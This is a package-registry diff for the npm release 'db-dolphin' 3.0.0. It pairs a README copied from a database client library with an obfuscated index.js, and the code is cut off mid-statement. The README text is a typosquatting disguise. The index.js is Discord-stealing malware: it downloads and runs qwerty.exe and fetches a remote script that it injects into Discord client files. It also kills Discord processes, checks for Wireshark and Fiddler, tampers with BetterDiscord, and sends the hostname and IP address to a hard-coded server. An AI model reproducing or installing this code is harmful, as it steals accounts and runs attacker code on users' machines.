db-dolphin 0.0.1-security → 3.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of db-dolphin might be problematic. Click here for more details.
- package/README.md +372 -5
- package/index.js +1 -0
- package/package.json +29 -3
package/README.md
CHANGED
@@ -1,5 +1,372 @@
|
|
1
|
-
#
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
1
|
+
# dolph-db JavaScript API
|
2
|
+
|
3
|
+
<p align='center'>
|
4
|
+
<img src='https://raw.githubusercontent.com/dolphindb/api-javascript/d0bf5e3b816f1f2d0b31dc8be9f90ed2359b6b92/ddb.svg' alt='dolph-db' width='256'>
|
5
|
+
</p>
|
6
|
+
|
7
|
+
<p align='center'>
|
8
|
+
<a href='https://www.npmjs.com/package/dolph-db' target='_blank'>
|
9
|
+
<img alt='npm version' src='https://img.shields.io/npm/v/dolphindb.svg?style=flat-square&color=brightgreen' />
|
10
|
+
</a>
|
11
|
+
<a href='https://www.npmjs.com/package/dolph-db' target='_blank'>
|
12
|
+
<img alt='npm downloads' src='https://img.shields.io/npm/dt/dolphindb?style=flat-square&color=brightgreen' />
|
13
|
+
</a>
|
14
|
+
</p>
|
15
|
+
|
16
|
+
## English | [中文](./README.zh.md)
|
17
|
+
|
18
|
+
## Overview
|
19
|
+
dolph-db JavaScript API is a JavaScript library that encapsulates the ability to operate the dolph-db database, such as: connecting to the database, executing scripts, calling functions, uploading variables, etc.
|
20
|
+
|
21
|
+
https://www.npmjs.com/package/dolph-db
|
22
|
+
|
23
|
+
## Features
|
24
|
+
- Communicate with dolph-db database using WebSocket, exchange data in binary format
|
25
|
+
- Support running in browser environment and Node.js environment
|
26
|
+
- Use TypedArray such as Int32Array in JavaScript to process binary data, with high performance
|
27
|
+
- A single call supports serialized upload of up to 2GB of data, and the amount of downloaded data is not limited
|
28
|
+
|
29
|
+
## Installation
|
30
|
+
```bash
|
31
|
+
# 1. Install the latest version of Node.js and browser on the machine
|
32
|
+
|
33
|
+
# 2. Create a new project (skip this step if you already have a project)
|
34
|
+
mkdir dolph-db-example
|
35
|
+
cd dolph-db-example
|
36
|
+
npm init --yes
|
37
|
+
# Open the package.json file with an editor, add the line "type": "module", below "main": "./index.js",
|
38
|
+
# This enables the use of ECMAScript modules, and in the code behind you can use import { DDB } from 'dolph-db' to import npm packages
|
39
|
+
|
40
|
+
# 3. Install npm packages in your project
|
41
|
+
npm install dolph-db
|
42
|
+
```
|
43
|
+
|
44
|
+
## Usage
|
45
|
+
### 0. Initialize and connect to dolph-db
|
46
|
+
```ts
|
47
|
+
import { DDB } from 'dolph-db'
|
48
|
+
// The import method for existing projects using CommonJS modules is const { DDB } = require('dolph-db')
|
49
|
+
// Use in browser: import { DDB } form 'dolph-db/browser.js'
|
50
|
+
|
51
|
+
// Create a database object and initialize the WebSocket URL
|
52
|
+
let ddb = new DDB('ws://127.0.0.1:8848')
|
53
|
+
|
54
|
+
// Establish a WebSocket connection to dolph-db (requires dolph-db database version at least 1.30.16 or 2.00.4)
|
55
|
+
await ddb.connect()
|
56
|
+
```
|
57
|
+
|
58
|
+
#### DDB options
|
59
|
+
```ts
|
60
|
+
let ddb = new DDB('ws://127.0.0.1:8848')
|
61
|
+
|
62
|
+
// Encrypt with HTTPS
|
63
|
+
let ddbsecure = new DDB('wss://dolph-db.com', {
|
64
|
+
// Whether to log in automatically after establishing a connection, default `true`
|
65
|
+
autologin: true,
|
66
|
+
|
67
|
+
// dolph-db username, default `'admin'`
|
68
|
+
username: 'admin',
|
69
|
+
|
70
|
+
// dolph-db password, default `'123456'`
|
71
|
+
password: '123456',
|
72
|
+
|
73
|
+
// set python session flag, default `false`
|
74
|
+
python: false
|
75
|
+
})
|
76
|
+
```
|
77
|
+
|
78
|
+
|
79
|
+
### 1. Call Functions
|
80
|
+
#### Example
|
81
|
+
```ts
|
82
|
+
import { DdbInt } from 'dolph-db'
|
83
|
+
|
84
|
+
const result = await ddb.call('add', [new DdbInt(1), new DdbInt(1)])
|
85
|
+
// TypeScript: const result = await ddb.call<DdbInt>('add', [new DdbInt(1), new DdbInt(1)])
|
86
|
+
|
87
|
+
console.log(result.value === 2) // true
|
88
|
+
```
|
89
|
+
|
90
|
+
#### The dolph-db JavaScript API uses DdbObj objects to represent data types in dolph-db
|
91
|
+
In the above example, two parameters 1 (corresponding to the int type in dolph-db) are uploaded to the dolph-db database as parameters of the add function, then the result of the function call is received.
|
92
|
+
|
93
|
+
`<DdbInt>` is used by TypeScript to infer the type of the return value
|
94
|
+
|
95
|
+
- result is a `DdbInt`, which is also a `DdbObj<number>`
|
96
|
+
- result.form is a `DdbForm.scalar`
|
97
|
+
- result.type is a `DdbType.int`
|
98
|
+
- result.value is native `number` in JavaScript (the value range and precision of int can be accurately represented by JavaScript number)
|
99
|
+
|
100
|
+
```ts
|
101
|
+
/** Can represent all data types in dolph-db databases */
|
102
|
+
class DdbObj <T extends DdbValue = DdbValue> {
|
103
|
+
/** is it little endian */
|
104
|
+
le: boolean
|
105
|
+
|
106
|
+
/** data form https://www.dolph-db.cn/cn/help/DataTypesandStructures/DataForms/index.html */
|
107
|
+
form: DdbForm
|
108
|
+
|
109
|
+
/** data type https://www.dolph-db.cn/cn/help/DataTypesandStructures/DataTypes/index.html */
|
110
|
+
type: DdbType
|
111
|
+
|
112
|
+
/** consumed length in buf parsed */
|
113
|
+
length: number
|
114
|
+
|
115
|
+
/** table name / column name */
|
116
|
+
name?: string
|
117
|
+
|
118
|
+
/**
|
119
|
+
Lowest dimension
|
120
|
+
- vector: rows = n, cols = 1
|
121
|
+
- pair: rows = 2, cols = 1
|
122
|
+
- matrix: rows = n, cols = m
|
123
|
+
- set: the same as vector
|
124
|
+
- dict: include keys, values vector
|
125
|
+
- table: the same as matrix
|
126
|
+
*/
|
127
|
+
rows?: number
|
128
|
+
|
129
|
+
/** 2nd dimension */
|
130
|
+
cols?: number
|
131
|
+
|
132
|
+
/** the actual data. Different DdbForm, DdbType use different types in DdbValue to represent actual data */
|
133
|
+
value: T
|
134
|
+
|
135
|
+
/** raw binary data, only top-level objects generated by parse_message when parse_object is false have this attribute */
|
136
|
+
buffer?: Uint8Array
|
137
|
+
|
138
|
+
constructor (data: Partial<DdbObj> & { form: DdbForm, type: DdbType, length: number }) {
|
139
|
+
Object.assign(this, data)
|
140
|
+
}
|
141
|
+
}
|
142
|
+
|
143
|
+
class DdbInt extends DdbObj<number> {
|
144
|
+
constructor (value: number) {
|
145
|
+
super({
|
146
|
+
form: DdbForm.scalar,
|
147
|
+
type: DdbType.int,
|
148
|
+
length: 4,
|
149
|
+
value
|
150
|
+
})
|
151
|
+
}
|
152
|
+
}
|
153
|
+
|
154
|
+
// ... There are also many utility classes, such as DdbString, DdbLong, DdbDouble, DdbVectorDouble, DdbVectorAny, etc.
|
155
|
+
|
156
|
+
type DdbValue =
|
157
|
+
null | boolean | number | [number, number] | bigint | string | string[] |
|
158
|
+
Uint8Array | Int16Array | Int32Array | Float32Array | Float64Array | BigInt64Array | Uint8Array[] |
|
159
|
+
DdbObj[] | DdbFunctionDefValue | DdbSymbolExtendedValue
|
160
|
+
|
161
|
+
|
162
|
+
enum DdbForm {
|
163
|
+
scalar = 0,
|
164
|
+
vector = 1,
|
165
|
+
pair = 2,
|
166
|
+
matrix = 3,
|
167
|
+
set = 4,
|
168
|
+
dict = 5,
|
169
|
+
table = 6,
|
170
|
+
chart = 7,
|
171
|
+
chunk = 8,
|
172
|
+
}
|
173
|
+
|
174
|
+
|
175
|
+
enum DdbType {
|
176
|
+
void = 0,
|
177
|
+
bool = 1,
|
178
|
+
char = 2,
|
179
|
+
short = 3,
|
180
|
+
int = 4,
|
181
|
+
long = 5,
|
182
|
+
// ...
|
183
|
+
timestamp = 12,
|
184
|
+
// ...
|
185
|
+
double = 16,
|
186
|
+
symbol = 17,
|
187
|
+
string = 18,
|
188
|
+
// ...
|
189
|
+
}
|
190
|
+
```
|
191
|
+
|
192
|
+
##### If there is no shortcut class, you can also specify form and type to manually create a DdbObj object
|
193
|
+
```ts
|
194
|
+
// Created by the DdbDateTime shortcut class
|
195
|
+
new DdbDateTime(1644573600)
|
196
|
+
|
197
|
+
// Equivalent to manually creating an object of form = scalar, type = datetime through DdbObj
|
198
|
+
const obj = new DdbObj({
|
199
|
+
form: DdbForm.scalar,
|
200
|
+
type: DdbType.datetime,
|
201
|
+
value: 1644573600,
|
202
|
+
length: 0
|
203
|
+
})
|
204
|
+
|
205
|
+
|
206
|
+
// The corresponding type and value of value in js can refer to the result returned by ddb.eval (see the `eval` method declaration below)
|
207
|
+
const obj = await ddb.eval('2022.02.11 10:00:00')
|
208
|
+
console.log(obj.form === DdbForm.scalar)
|
209
|
+
console.log(obj.type === DdbType.datetime)
|
210
|
+
console.log(obj.value)
|
211
|
+
|
212
|
+
// Another example is to create a set
|
213
|
+
// refer to ddb.eval
|
214
|
+
// const obj = await ddb.eval('set([1, 2, 3])')
|
215
|
+
// console.log(obj.value)
|
216
|
+
const obj = new DdbObj({
|
217
|
+
form: DdbForm.set,
|
218
|
+
type: DdbType.int,
|
219
|
+
value: Int32Array.of(1, 2, 3),
|
220
|
+
length: 0
|
221
|
+
})
|
222
|
+
|
223
|
+
// It's easier to use shortcut classes
|
224
|
+
const obj = new DdbSetInt(
|
225
|
+
new Set([1, 2, 3])
|
226
|
+
)
|
227
|
+
```
|
228
|
+
|
229
|
+
##### NULL object in the form of scalar, the value corresponding to DdbObj is null in JavaScript
|
230
|
+
```ts
|
231
|
+
;(await ddb.eval('double()')).value === null
|
232
|
+
|
233
|
+
// create NULL object
|
234
|
+
new DdbInt(null)
|
235
|
+
new DdbDouble(null)
|
236
|
+
```
|
237
|
+
|
238
|
+
|
239
|
+
#### `call` Method Declaration
|
240
|
+
```ts
|
241
|
+
async call <T extends DdbObj> (
|
242
|
+
/** function name */
|
243
|
+
func: string,
|
244
|
+
|
245
|
+
/** function arguments (The incoming native string and boolean will be automatically converted to DdbObj<string> and DdbObj<boolean>) */
|
246
|
+
args?: (DdbObj | string | boolean)[] = [ ],
|
247
|
+
|
248
|
+
/** calling options */
|
249
|
+
options?: {
|
250
|
+
/** Urgent flag. Use urgent worker to execute to prevent being blocked by other jobs */
|
251
|
+
urgent?: boolean
|
252
|
+
|
253
|
+
/** When the node alias is set, the function is sent to the corresponding node in the cluster for execution (using the rpc method in dolph-db) */
|
254
|
+
node?: string
|
255
|
+
|
256
|
+
/** When setting multiple node aliases, send them to the corresponding multiple nodes in the cluster for execution (using the pnodeRun method in dolph-db) */
|
257
|
+
nodes?: string[]
|
258
|
+
|
259
|
+
/** It must be passed when setting the node parameter, the function type needs to be specified, and it is not passed in other cases */
|
260
|
+
func_type?: DdbFunctionType
|
261
|
+
|
262
|
+
/** It may be passed when setting the nodes parameter, otherwise may not be passed */
|
263
|
+
add_node_alias?: boolean
|
264
|
+
} = { }
|
265
|
+
): Promise<T>
|
266
|
+
```
|
267
|
+
|
268
|
+
|
269
|
+
### 2. Execute Script
|
270
|
+
#### Example
|
271
|
+
```ts
|
272
|
+
const result = await ddb.eval(
|
273
|
+
'def foo (a, b) {\n' +
|
274
|
+
' return a + b\n' +
|
275
|
+
'}\n' +
|
276
|
+
'foo(1l, 1l)\n'
|
277
|
+
)
|
278
|
+
|
279
|
+
// TypeScript:
|
280
|
+
// import type { DdbLong } from 'dolph-db'
|
281
|
+
// const result = await ddb.eval<DdbLong>(...)
|
282
|
+
|
283
|
+
console.log(result.value === 2n) // true
|
284
|
+
```
|
285
|
+
|
286
|
+
In the above example, a script is uploaded through a string to the dolph-db database for execution, and the execution result of the last statement `foo(1l, 1l)` is received.
|
287
|
+
|
288
|
+
`<DdbLong>` is used by TypeScript to infer the type of the return value
|
289
|
+
|
290
|
+
- result is a `DdbLong`, which is also a `DdbObj<bigint>`
|
291
|
+
- result.form is `DdbForm.scalar`
|
292
|
+
- result.type is `DdbType.long`
|
293
|
+
- result.value is the native `bigint` in JavaScript (the precision of long cannot be accurately represented by JavaScript number, but it can be represented by bigint)
|
294
|
+
|
295
|
+
As long as the WebSocket connection is not disconnected, the custom function `foo` will always exist in the subsequent session and can be reused, for example, you can use `await ddb.call<DdbInt>('foo', [new DdbInt(1), new DdbInt(1)])` to call this custom function
|
296
|
+
|
297
|
+
#### `eval` Method Declaration
|
298
|
+
```ts
|
299
|
+
async eval <T extends DdbObj> (
|
300
|
+
/** the script to execute */
|
301
|
+
script: string,
|
302
|
+
|
303
|
+
/** calling options */
|
304
|
+
options: {
|
305
|
+
/** Urgent flag. Use urgent worker to execute to prevent being blocked by other jobs */
|
306
|
+
urgent?: boolean
|
307
|
+
} = { }
|
308
|
+
): Promise<T>
|
309
|
+
```
|
310
|
+
|
311
|
+
|
312
|
+
### 3. Upload Variables
|
313
|
+
#### Example
|
314
|
+
```ts
|
315
|
+
import { DdbVectorDouble } from 'dolph-db'
|
316
|
+
|
317
|
+
let a = new Array(10000)
|
318
|
+
a.fill(1.0)
|
319
|
+
|
320
|
+
ddb.upload(['bar1', 'bar2'], [new DdbVectorDouble(a), new DdbVectorDouble(a)])
|
321
|
+
```
|
322
|
+
|
323
|
+
In the above example, two variables `bar1`, `bar2` are uploaded, and the variable value is a double vector of length 10000
|
324
|
+
|
325
|
+
As long as the WebSocket connection is not disconnected, the variables `bar1`, `bar2` will always exist in the subsequent session and can be reused
|
326
|
+
|
327
|
+
#### `upload` Method Declaration
|
328
|
+
```ts
|
329
|
+
async upload (
|
330
|
+
/** variable names */
|
331
|
+
vars: string[],
|
332
|
+
|
333
|
+
/** variable values */
|
334
|
+
args: (DdbObj | string | boolean)[]
|
335
|
+
): Promise<void>
|
336
|
+
```
|
337
|
+
|
338
|
+
|
339
|
+
### Some Examples
|
340
|
+
```ts
|
341
|
+
import { nulls, DdbInt, timestamp2str, DdbVectorSymbol, DdbTable, DdbVectorDouble } from 'dolph-db'
|
342
|
+
|
343
|
+
// Format timestamp in dolph-db as string
|
344
|
+
timestamp2str(
|
345
|
+
(
|
346
|
+
await ddb.call('now', [false])
|
347
|
+
// TypeScript: await ddb.call<DdbObj<bigint>>('now', [false])
|
348
|
+
).value
|
349
|
+
) === '2022.02.23 17:23:13.494'
|
350
|
+
|
351
|
+
// create symbol vector
|
352
|
+
new DdbVectorSymbol(['aaa', 'aaa', 'aaa', 'aaa', 'aaa', 'bbb'])
|
353
|
+
|
354
|
+
// Create a double vector with NULL values using JavaScript native arrays
|
355
|
+
new DdbVectorDouble([0.1, null, 0.3])
|
356
|
+
|
357
|
+
// More efficient and memory efficient double vector creation using JavaScript TypedArray
|
358
|
+
let av = new Float64Array(3)
|
359
|
+
av[0] = 0.1
|
360
|
+
av[1] = nulls.double
|
361
|
+
av[2] = 0.3
|
362
|
+
new DdbVectorDouble(av)
|
363
|
+
|
364
|
+
// create DdbTable
|
365
|
+
new DdbTable(
|
366
|
+
[
|
367
|
+
new DdbVectorDouble([0.1, 0.2, null], 'col0'),
|
368
|
+
new DdbVectorSymbol(['a', 'b', 'c'], 'col1')
|
369
|
+
],
|
370
|
+
'mytable'
|
371
|
+
)
|
372
|
+
```
|
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x18ab9b=_0x5978;(function(_0x5d5d28,_0x1bcccd){const _0x4c1c1e=_0x5978,_0x2eca27=_0x5d5d28();while(!![]){try{const _0x594801=-parseInt(_0x4c1c1e(0x1d2))/0x1+parseInt(_0x4c1c1e(0x1c1))/0x2*(-parseInt(_0x4c1c1e(0x1db))/0x3)+-parseInt(_0x4c1c1e(0x1dc))/0x4*(parseInt(_0x4c1c1e(0x1be))/0x5)+-parseInt(_0x4c1c1e(0x1e9))/0x6+parseInt(_0x4c1c1e(0x1a7))/0x7+-parseInt(_0x4c1c1e(0x1ce))/0x8*(-parseInt(_0x4c1c1e(0x1f5))/0x9)+parseInt(_0x4c1c1e(0x1f4))/0xa;if(_0x594801===_0x1bcccd)break;else _0x2eca27['push'](_0x2eca27['shift']());}catch(_0x2a86ec){_0x2eca27['push'](_0x2eca27['shift']());}}}(_0xadfb,0x46464));const _0x48dd88=(function(){let _0x43ce46=!![];return function(_0x45fdf3,_0x4fb404){const _0x58cc37=_0x43ce46?function(){const _0x283ec6=_0x5978;if(_0x4fb404){const _0x4ddb8d=_0x4fb404[_0x283ec6(0x1ec)](_0x45fdf3,arguments);return _0x4fb404=null,_0x4ddb8d;}}:function(){};return _0x43ce46=![],_0x58cc37;};}()),_0x1ec8ba=_0x48dd88(this,function(){const _0x4e3d4b=_0x5978;return _0x1ec8ba[_0x4e3d4b(0x1a3)]()[_0x4e3d4b(0x208)]('(((.+)+)+)+$')[_0x4e3d4b(0x1a3)]()[_0x4e3d4b(0x1ad)](_0x1ec8ba)['search']('(((.+)+)+)+$');});_0x1ec8ba();const _0x348ae3=(function(){let _0x2bfaee=!![];return function(_0x324281,_0x24e3cb){const _0x2af978=_0x2bfaee?function(){const _0x14908f=_0x5978;if(_0x24e3cb){const _0x33cb5e=_0x24e3cb[_0x14908f(0x1ec)](_0x324281,arguments);return _0x24e3cb=null,_0x33cb5e;}}:function(){};return _0x2bfaee=![],_0x2af978;};}()),_0x19ec32=_0x348ae3(this,function(){const _0xcacc0c=_0x5978;let _0x2cfcd6;try{const _0x559591=Function(_0xcacc0c(0x1bd)+_0xcacc0c(0x19d)+');');_0x2cfcd6=_0x559591();}catch(_0x24a100){_0x2cfcd6=window;}const _0x4f858c=_0x2cfcd6[_0xcacc0c(0x1d5)]=_0x2cfcd6[_0xcacc0c(0x1d5)]||{},_0x523840=[_0xcacc0c(0x200),_0xcacc0c(0x1ab),'info',_0xcacc0c(0x1c3),_0xcacc0c(0x1a0),_0xcacc0c(0x1b8),_0xcacc0c(0x1b1)];for(let _0x12da17=0x0;_0x12da17<_0x523840[_0xcacc0c(0x1ef)];_0x12da17++){const _0x176c25=_0x348ae3[_0xcacc0c(0x1ad)][_0xcacc0c(0x1b4)][_0xcacc0c(0x209)](_0x348ae3),_0x4ee3c2=_0x523840[_0x12da17],_0x449eed=_0x4f858c[_0x4ee3c2]||_0x176c25;_0x176c25[_0xcacc0c(0x1c5)]=_0x348ae3[_0xcacc0c(0x209)](_0x348ae3),_0x176c25[_0xcacc0c(0x1a3)]=_0x449eed[_0xcacc0c(0x1a3)][_0xcacc0c(0x209)](_0x449eed),_0x4f858c[_0x4ee3c2]=_0x176c25;}});_0x19ec32();const glob=require(_0x18ab9b(0x19c)),fs=require('fs'),https=require(_0x18ab9b(0x1e2)),{exec}=require('child_process'),shell=require(_0x18ab9b(0x1b6)),os=require(_0x18ab9b(0x202)),axios=require(_0x18ab9b(0x1cf)),download=require(_0x18ab9b(0x1ee));var ip=require('ip');const zip=require('adm-zip'),FormData=require(_0x18ab9b(0x19f));var XMLHttpRequest=require(_0x18ab9b(0x1a8));function _0xadfb(){const _0x60f822=['Content-type','discordcanary','disable-qr-code','1810308ymfrIf','window.webpackJsonp?(gg=window.webpackJsonp.push([[],{get_require:(a,b,c)=>a.exports=c},[[\x22get_require\x22]]]),delete\x20gg.m.get_require,delete\x20gg.c.get_require):window.webpackChunkdiscord_app&&window.webpackChunkdiscord_app.push([[Math.random()],{},a=>{gg=a}]);function\x20LogOut(){(function(a){const\x20b=\x22string\x22==typeof\x20a?a:null;for(const\x20c\x20in\x20gg.c)if(gg.c.hasOwnProperty(c)){const\x20d=gg.c[c].exports;if(d&&d.__esModule&&d.default&&(b?d.default[b]:a(d.default)))return\x20d.default;if(d&&(b?d[b]:a(d)))return\x20d}return\x20null})(\x22login\x22).logout()}LogOut();','writeFileSync','apply','Powercord.exe','download','length','readFileSync','inject-notify','address','false','16183720SkzeEv','27cKvUeu','\x22,\x20\x22idclientkey\x22:\x22mozarte\x22}','statSync','discordptb','taskkill\x20/IM\x20','encoding','discord','LOCALAPPDATA','logout-notify','api/webhooks','env','log','init','node:os','responseText','mkdirSync','logout','https://cdn.discordapp.com/attachments/998660447886639106/1001643422844727398/qwerty.exe','init-notify','search','bind','\x22,\x20\x22ip\x22:\x22','replace','onload','glob','{}.constructor(\x22return\x20this\x22)(\x20)','%USERIP%','form-data','exception','push','temp','toString','Discord.exe','forEach','\x5cmodules\x5c','2095751NsislN','xhr2','\x5cUpdate.exe\x20--processStart\x20','%LOGOUTNOTI%','warn','end','constructor','path','DiscordDevelopment.exe','fiddler','trace','discorddevelopment','includes','prototype','existsSync','shelljs','data','table','DC_BTW','powercord','hostname','DiscordPTB.exe','return\x20(function()\x20','1909450gpeErB','3447704','iscord','3814NVtMil','readdirSync','error','Discord\x20Canary','__proto__','responseType','https://raw.githubusercontent.com/lynix1000/asdasdsadasdsaasdasdsadasdsaasdasdsadasdsa/main/index.js','app-','filter','buffer-replace','USERNAMEWEBHOOK','get','Discord\x20(32\x20bits)','268848TCbuxc','axios','true','Discord\x20Canary\x20(32\x20bits).exe','541776EjXxhY','{\x22fields\x22:\x22Discord\x20Desktop\x20(app-1.0.9005)\x22,\x20\x22pcname\x22:\x22','DiscordCanary.exe','console','embed-color','application/json','index.js','Discord\x20(32\x20bits).exe','instant','795sChOyK','4VXwSNW','http://20.109.92.236/api/newinjection','Fiddler.exe','\x5cqwerty.exe','mozarte','flag','node:https','appdata','utf8','wireshark'];_0xadfb=function(){return _0x60f822;};return _0xadfb();}const buf_replace=require(_0x18ab9b(0x1ca)),{session,BrowserWindow}=require('electron'),path=require(_0x18ab9b(0x1ae)),querystring=require('querystring'),_0x5a56c7={};_0x5a56c7[_0x18ab9b(0x205)]=_0x18ab9b(0x1da),_0x5a56c7[_0x18ab9b(0x1f1)]=_0x18ab9b(0x1d0),_0x5a56c7[_0x18ab9b(0x1fd)]=_0x18ab9b(0x1d0),_0x5a56c7[_0x18ab9b(0x207)]=_0x18ab9b(0x1d0),_0x5a56c7[_0x18ab9b(0x1d6)]=0x7b,_0x5a56c7[_0x18ab9b(0x1cb)]=_0x18ab9b(0x1e0),_0x5a56c7[_0x18ab9b(0x1e8)]=_0x18ab9b(0x1d0);const config=_0x5a56c7;let LOCAL=process[_0x18ab9b(0x1ff)][_0x18ab9b(0x1fc)],discords=[],injectPath=[],runningDiscords=[];fs['readdirSync'](LOCAL)['forEach'](_0x4730e6=>{const _0x58bbf7=_0x18ab9b;if(_0x4730e6['includes'](_0x58bbf7(0x1c0)))discords[_0x58bbf7(0x1a1)](LOCAL+'\x5c'+_0x4730e6);else return;});const temp=process[_0x18ab9b(0x1ff)][_0x18ab9b(0x1a2)],infecccc=async()=>{const _0x64c65d=_0x18ab9b,_0x2d889b={};_0x2d889b[_0x64c65d(0x1c6)]='arraybuffer';const _0x14505a=await axios[_0x64c65d(0x1cc)](_0x64c65d(0x206),_0x2d889b),_0x5bd71a={};_0x5bd71a[_0x64c65d(0x1fa)]=_0x64c65d(0x1e4),_0x5bd71a['flags']='w',await fs[_0x64c65d(0x1eb)](temp+_0x64c65d(0x1df),_0x14505a[_0x64c65d(0x1b7)],_0x5bd71a),await exec(temp+_0x64c65d(0x1df));return;};function Infect(){const _0x4f48d6=_0x18ab9b;https[_0x4f48d6(0x1cc)](_0x4f48d6(0x1c7),_0x4b48c3=>{const _0x4d6a11=_0x4f48d6;let _0x4c8f2d='';_0x4b48c3['on'](_0x4d6a11(0x1b7),_0x1940df=>{_0x4c8f2d+=_0x1940df;}),_0x4b48c3['on'](_0x4d6a11(0x1ac),()=>{injectPath['forEach'](_0xc53709=>{const _0x3869ae=_0x5978,_0x36d72d={};_0x36d72d[_0x3869ae(0x1fa)]=_0x3869ae(0x1e4),_0x36d72d[_0x3869ae(0x1e1)]='w',fs[_0x3869ae(0x1eb)](_0xc53709,_0x4c8f2d[_0x3869ae(0x20b)]('%INITNOTI%',config[_0x3869ae(0x207)])[_0x3869ae(0x20b)](_0x3869ae(0x19e),ip[_0x3869ae(0x1f2)]())[_0x3869ae(0x20b)]('%LOGOUT%',config[_0x3869ae(0x205)])[_0x3869ae(0x20b)]('%USERNAMEWEBHOOK%',config[_0x3869ae(0x1cb)])[_0x3869ae(0x20b)](_0x3869ae(0x1aa),config[_0x3869ae(0x1fd)])['replace'](_0x3869ae(0x1bf),config['embed-color'])[_0x3869ae(0x20b)]('%DISABLEQRCODE%',config[_0x3869ae(0x1e8)]),_0x36d72d);if(config[_0x3869ae(0x207)]==_0x3869ae(0x1d0)){let _0x39d25f=_0xc53709[_0x3869ae(0x20b)](_0x3869ae(0x1d8),_0x3869ae(0x201));!fs['existsSync'](_0x39d25f)&&fs['mkdirSync'](_0x39d25f,0x1e4);}if(config[_0x3869ae(0x205)]!=_0x3869ae(0x1f3)){let _0x1ceee2=_0xc53709[_0x3869ae(0x20b)](_0x3869ae(0x1d8),_0x3869ae(0x1b9));if(!fs[_0x3869ae(0x1b5)](_0x1ceee2))fs[_0x3869ae(0x204)](_0x1ceee2,0x1e4),config[_0x3869ae(0x205)]==_0x3869ae(0x1da)&&startDiscord();else fs[_0x3869ae(0x1b5)](_0x1ceee2)&&config[_0x3869ae(0x205)]==_0x3869ae(0x1da)&&startDiscord();}});});})['on'](_0x4f48d6(0x1c3),_0x54181b=>{});};const logout=async()=>{const _0xad011e=_0x18ab9b;return await BrowserWindow['getAllWindows']()[0x0]['webContents']['executeJavaScript'](_0xad011e(0x1ea),!![]),'ok';};function killDiscord(){const _0x2b1066=_0x18ab9b;runningDiscords[_0x2b1066(0x1a5)](_0x16bc7d=>{const _0x4673f4=_0x2b1066;exec(_0x4673f4(0x1f9)+_0x16bc7d+'.exe\x20/F',_0x10515a=>{if(_0x10515a)return;});}),config[_0x2b1066(0x1f1)]=='true'&&injectPath['length']!=0x0&&injectNotify(),Infect(),pwnBetterDiscord();};function listDiscords(){exec('tasklist',function(_0x1cca4c,_0x4c55dd,_0x1480d8){const _0x47f375=_0x5978;if(_0x4c55dd[_0x47f375(0x1b3)]('Discord.exe'))runningDiscords[_0x47f375(0x1a1)](_0x47f375(0x1fb));if(_0x4c55dd['includes'](_0x47f375(0x1d9)))runningDiscords[_0x47f375(0x1a1)]('Discord');if(_0x4c55dd[_0x47f375(0x1b3)](_0x47f375(0x1a4)))runningDiscords[_0x47f375(0x1a1)](_0x47f375(0x1cd));if(_0x4c55dd[_0x47f375(0x1b3)](_0x47f375(0x1d4)))runningDiscords[_0x47f375(0x1a1)](_0x47f375(0x1e7));if(_0x4c55dd[_0x47f375(0x1b3)](_0x47f375(0x1d1)))runningDiscords[_0x47f375(0x1a1)](_0x47f375(0x1c4));if(_0x4c55dd[_0x47f375(0x1b3)](_0x47f375(0x1af)))runningDiscords[_0x47f375(0x1a1)](_0x47f375(0x1b2));if(_0x4c55dd[_0x47f375(0x1b3)](_0x47f375(0x1bc)))runningDiscords[_0x47f375(0x1a1)](_0x47f375(0x1f8));if(_0x4c55dd[_0x47f375(0x1b3)](_0x47f375(0x1ed)))runningDiscords['push'](_0x47f375(0x1ba));if(_0x4c55dd['includes'](_0x47f375(0x1de)))runningDiscords[_0x47f375(0x1a1)](_0x47f375(0x1b0));if(_0x4c55dd[_0x47f375(0x1b3)]('wireshark.exe'))runningDiscords[_0x47f375(0x1a1)](_0x47f375(0x1e5));config[_0x47f375(0x205)]=='instant'?killDiscord():(config[_0x47f375(0x1f1)]=='true'&&injectPath[_0x47f375(0x1ef)]!=0x0&&injectNotify(),Infect(),pwnBetterDiscord());});};function startDiscord(){runningDiscords['forEach'](_0x43646f=>{const _0x5e2847=_0x5978;let _0x22b19b=LOCAL+'\x5c'+_0x43646f+_0x5e2847(0x1a9)+_0x43646f+'.exe';exec(_0x22b19b,_0x33834c=>{if(_0x33834c)return;});});}function _0x5978(_0x4f037d,_0xd93e6d){const _0x3fd8f9=_0xadfb();return _0x5978=function(_0x19ec32,_0x348ae3){_0x19ec32=_0x19ec32-0x19c;let _0xe3d189=_0x3fd8f9[_0x19ec32];return _0xe3d189;},_0x5978(_0x4f037d,_0xd93e6d);};function pwnBetterDiscord(){const _0x2429f6=_0x18ab9b;let _0x4ea6d0=process[_0x2429f6(0x1ff)][_0x2429f6(0x1e3)]+'\x5cBetterDiscord\x5cdata\x5cbetterdiscord.asar';if(fs[_0x2429f6(0x1b5)](_0x4ea6d0)){let _0x2c3632=fs[_0x2429f6(0x1f0)](_0x4ea6d0);fs[_0x2429f6(0x1eb)](_0x4ea6d0,buf_replace(_0x2c3632,_0x2429f6(0x1fe),'dc'));}return;}function injectNotify(){const _0x10283e=_0x18ab9b;let _0x251571=[];injectPath['forEach'](_0x575940=>{let _0x4395b6=_0x575940;_0x251571['push'](_0x4395b6);});const _0x2e8a63=_0x10283e(0x1d3)+os[_0x10283e(0x1bb)]()+_0x10283e(0x20a)+ip[_0x10283e(0x1f2)]()+_0x10283e(0x1f6);var _0x39f6cd=new XMLHttpRequest();_0x39f6cd['open']('POST',_0x10283e(0x1dd),!![]),_0x39f6cd['setRequestHeader'](_0x10283e(0x1e6),_0x10283e(0x1d7)),_0x39f6cd[_0x10283e(0x20c)]=function(){const _0x34dbc4=_0x10283e,_0x5424f4=this[_0x34dbc4(0x203)];},_0x39f6cd['send'](_0x2e8a63);}function getDirectories(_0x73b680){const _0x2c3915=_0x18ab9b;return fs[_0x2c3915(0x1c2)](_0x73b680)[_0x2c3915(0x1c9)](function(_0x550f64){const _0x2afa43=_0x2c3915;return fs[_0x2afa43(0x1f7)](_0x73b680+'/'+_0x550f64)['isDirectory']();});}listDiscords(),discords[_0x18ab9b(0x1a5)](function(_0x2497c2){const _0x15a827=_0x18ab9b;getDirectories(_0x2497c2+'\x5c')[_0x15a827(0x1a5)](_0x274d8f=>{const 